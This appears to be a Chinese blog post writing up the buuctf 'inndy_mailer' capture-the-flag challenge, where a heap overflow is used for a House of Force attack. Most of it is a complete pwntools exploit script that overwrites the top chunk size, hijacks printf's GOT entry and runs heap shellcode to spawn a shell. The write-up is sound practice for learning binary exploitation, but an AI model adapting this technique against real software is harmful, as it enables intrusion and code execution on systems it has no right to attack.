zoukankan      html  css  js  c++  java
  • buuctf:inndy_mailer HOF的利用

    上物理的时候无聊,闲着往下滑打开了一个题,没想到拿了个一血
    简单题,house of force怼就完了
    https://ctf-wiki.github.io/ctf-wiki/pwn/linux/glibc-heap/house_of_force-zh/
    程序没对size做检查,首先考虑hof

    任意堆溢出,改top chunk的size为0xffffffff,然后分配到got表上方,由于printf在最上面,改printf为地址即可,在堆上写shellcode,有rwx,最后size调一下就出了

    exp

    from pwn import *
    
    local = 0
    
    binary = "./mailer"
    port = "27219"
    
    if local == 1:
    	p = process(binary)
    else:
    	p = remote("node3.buuoj.cn",port)
    
    def dbg():
    	context.log_level = 'debug'
    
    context.terminal = ['tmux','splitw','-h']
    
    def add(size,title,content):
    	p.sendlineafter('Action: ','1')
    	p.sendlineafter('Content Length:',str(size))
    	p.sendlineafter('Title:',title)
    	p.sendlineafter('Content:',content)
    
    def show():
    	p.sendlineafter('Action: ','2')
    
    context(arch = 'i386',os = 'linux')
    shellcode = shellcraft.sh()
    shellcode = asm(shellcode)
    print "len:",len(shellcode)
    payload = shellcode.ljust(0x40,'a') + p32(0x50)	# use fwrite , to change size
    add(0x10,payload,'b' * 0x10)
    payload = 'd' * 0x20 + p32(0) + p32(0xffffffff)
    add(0x20,'cccc', payload)
    
    show()
    p.recvuntil('b' * 0x10)
    p.recv(4)
    p.recv(4)
    heap = u32(p.recv(4)) - 0x8
    print "[*] heap:",hex(heap)
    
    elf = ELF(binary)
    top_chunk = heap + 0xd0
    print "[*] top_chunk:",hex(top_chunk)
    size = elf.got["printf"] - top_chunk
    final_size = size - 0x48 - 0x10
    print "[*] distance:",hex(size)
    
    add(final_size,'aaaa','bbbb')
    
    p.sendline('1')
    p.sendline(str(0x15))
    p.sendline(p32(heap + 0xc))
    
    # gdb.attach(p)
    p.interactive()
    

  • 相关阅读:
    溢出省略号
    自定义字体
    jquery实现上一页下一页
    集成学习理解
    常用命令-python篇
    python 多进程和多线程
    10预处理命令上
    9函数
    8指针2
    7指针1
  • 原文地址:https://www.cnblogs.com/lemon629/p/13932127.html
Copyright © 2011-2022 走看看